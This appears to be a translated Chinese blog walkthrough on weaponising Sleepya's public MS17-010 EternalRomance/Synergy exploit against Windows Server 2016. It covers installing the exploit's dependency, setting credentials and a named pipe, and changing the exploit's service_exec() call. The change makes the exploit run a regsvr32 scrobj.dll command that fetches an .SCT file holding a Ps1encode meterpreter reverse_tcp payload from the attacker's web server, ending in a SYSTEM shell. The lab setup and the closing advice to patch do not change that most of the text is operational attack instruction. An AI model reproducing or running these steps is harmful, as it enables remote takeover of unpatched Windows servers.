一、前言
當微軟發布了MS17-010漏洞的補丁時,人們發現這個漏洞會影響從Windows 7到Windows Server 2016版的Windows系統(更為準確地說還包含Vista系統,但我們通常會忽略掉這個系統)。然而,影子經紀人(TheShadowBrokers)公布的“永恒”(ETERNALS)系列漏洞利用工具在Windows Server 2012及更高版本的系統上非常不穩定,99%的概率會造成受害主機藍屏(BSOD)。
為了進一步理解并用好NSA的漏洞利用工具,很多安全研究人員都對這個工具進行了研究。幾天之前,Sleepya公布了一個漏洞利用工具,這個工具借鑒了EternalRomance/Synergy的漏洞思想,同時對利用方法進行了改進,因此在攻擊Windows Server 2012及2016時更為穩定。為了使用這個工具,我們需要做好某些準備工作、理解工具的工作原理、修改某些配置,這樣在攻擊目標主機時才能達到我們真正的目的。
這也是我寫這篇文章的出發點。在這篇文章中,我會按步驟介紹如何使Sleepya的漏洞利用工具正常工作,以及如何修改此工具以獲取目標主機的Meterpreter會話。
當然,我是出于調查研究目的才撰寫這篇文章的。
我們的實驗環境使用如下配置:
1、目標主機:Windows Server 2016
目標主機使用了Windows Server 2016 x64操作系統。

默認安裝系統后,無需做其他修改,只需要獲取主機的IP地址,保持主機在線即可。
2、攻擊主機:GNU/Linux
攻擊主機可以使用任何操作系統,只要在系統中我們能夠使用如下工具即可:
Python v2.7
Ps1Encode
Metasploit框架
總結一下,我們實驗環境的具體配置為:
目標主機:Windows Server 2016 x64,IP:10.0.2.13。
攻擊主機:GNU/Linux Debian x64,IP:10.0.2.6。
二、工具利用
我們可以在exploit-db上找到對應的漏洞利用代碼。
代碼使用Python編寫而成。因此,我們需要將其保存為攻擊主機上的.py文件。下載完成后,如果我們運行這個漏洞利用代碼,會出現如下錯誤:

現在讓我們來解決程序依賴問題。
代碼第3行引入了“mysmb”模塊,這個模塊不屬于Python的內置模塊,因此無法通過pip來安裝它。該模塊由Sleepya開發,我們需要從他個人的Github倉庫中下載。
我們將該模塊保存在漏洞利用工具的同一目錄中,文件名為“mysmb.py”。對Python而言,如果我們要在腳本中導入某個模塊的代碼,就需要創建一個名為“__INIT__.py”的文件。
完成這些操作后,漏洞利用腳本就會找到正確的模塊,不會再提示任何錯誤。

三、檢查利用工具有效性
我們不需要做太多修改,就能檢查漏洞利用代碼是否能夠正常運行。如果我們按照正常的方式執行漏洞利用程序,一旦漏洞利用成功,它會在目標主機的“C:\”盤中生成名為“pwned.txt”的一個文件。
即使在上面這個簡單的測試中我們不需要對漏洞利用工具本身做任何修改,但在工具的實際使用中,我們還是需要設置某些參數,如下文所述。
3.1 填寫認證信息
EternalRomance/Synergy漏洞利用工具正常工作的前提是需要通過身份認證。如果目標主機啟用了訪客(Guest)賬戶,我們可以利用該賬戶實施攻擊,否則我們需要獲取目標主機中一個可用的用戶名及密碼。這里需要強調的是,無論我們使用的賬戶權限如何,即使這個賬戶是一個Guest賬戶,最終漏洞利用成功后我們都會獲得SYSTEM權限。
打開exploit.py,修改第26及27行,填寫身份認證信息:

這里我們可以設置需要使用的用戶名及密碼。
3.2 設置運行參數
我們還需要設置目標主機的IP地址以及管道(pipe)名稱。SMB協議定義了3種類型的共享方式:
1、文件(File):文件(或磁盤)資源共享,以目錄樹及所包含的子文件形式呈現。
2、打印(Print):打印資源共享,可以訪問服務器上的打印資源。
3、管道(Pipe):使用FIFO模型的進程間通信方式,也稱之為命名管道(named pipes),以便在系統運行時進行信息傳輸。
與EternalBlue工具不同的是,EternalRomance以及EternalSynergy使用了命名管道中存在的一個漏洞,因此我們在攻擊某臺主機前需要設置具體使用哪個命名管道。
我選擇的是“spoolss”,當然也可以使用“browser”。我們也可以使用metasploit的掃描器“auxiliary/scanner/smb/pipe_auditor”來檢查目標主機內可以訪問的管道。
3.3 不引入shellcode時運行利用工具
現在,我們使用如下命令運行漏洞利用腳本:
python exploit.py spoolss

我們前面說過,如果漏洞利用成功,我們可以在目標主機的“C:\”盤中看到一個名為“pwned.txt”的新文件生成。
成功漏洞利用對我們來說已經是邁出了一大步。接下來,我們會繼續分析,探索如何修改漏洞利用工具以獲得meterpreter shell。四、生成shellcode
除了編寫文本文件之外,我們還可以使用各種方法讓漏洞利用程序運行一個meterpreter shell或者執行其他動作。
首先我們需要生成待使用的shellcode,這里我會使用我個人非常喜歡的一個辦法,這個辦法在規避安全控制方面有許多優點。
如果用一句話來概括這個方法,那就是將shellcode嵌入到一個.SCT文件中,漏洞利用程序會將該文件下載到目標主機中加以執行,最終給我們返回夢寐以求的meterpreter會話。
4.1 使用PS1ENCODE創建.SCT文件
Ps1encode這個工具非常有用,能夠以多種格式生成基于PowerShell的metasploit載荷(payload)并對載荷進行編碼。
可以從Github上下載這個工具。
我們可以使用如下命令,生成所需的載荷:
ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=ATTACKER_IP> --LPORT=4444 -t sct
生成的.SCT文件必須存放在攻擊者主機上搭建的Web服務器中,或者存放在目標主機能夠訪問的任何一臺主機中。這也是我們在執行之前的命令時,程序要求我們填寫存放.sct文件的URL地址的原因。如果我們將攻擊者主機作為Web服務器來使用,我們只需要填入“http://”即可。

4.2 下載shellcode.sct
現在我們已經在Ps1Encode的當前目錄中生成了一個index.sct文件,為了讓漏洞利用工具將該文件下載到目標主機中,我們需要將其移動到Web服務器目錄中,分配適當的權限。

如上圖所示,執行完這些命令后,我們會得到一個shellcode,以待后續使用。
五、修改利用工具的行為
使用文本編輯器打開漏洞利用程序,跳轉到463行,我們可以看到如下語句:

這些函數就是漏洞利用程序用來在目標主機上創建“pwned.txt”時使用的函數,比這些語句更有意思的是,我們可以在469行看到一個service_exec()函數,這個函數目前處于注釋狀態。
從這行代碼我們可知,該函數會執行一個“copy”命令,生成“pwned.txt”文件的一個副本。如果不刪掉“#”注釋符,這行語句就不會被執行。取消注釋,再次運行漏洞利用程序,我們可以在“C:\”盤中發現兩個文本文件:pwned.txt以及pwned_exec.txt。
因此,我們可以修改copy命令,將其替換為我們想要執行的任何語句。
既然已知如何修改漏洞利用程序,改變程序執行動作,那么我們可以使用如下語句,替換service_exec()函數原來執行的copy命令:
regsvr32 /s /n /u /i:http:///shellcode.sct scrobj.dll
修改后的利用程序如下所示:

六、獲取Meterpreter會話
最后,在執行exploit.py之前,我們需要配置metasploit的exploit/multi/handler監聽端,以便接收meterpreter會話。

修改后的漏洞利用程序的執行情況如下圖所示:

幾秒鐘之后,我們就能獲取目標主機上的具備SYSTEM權限的meterpreter會話。

七、總結
沒有多余的總結,趕緊給自己的系統打上補丁吧!
|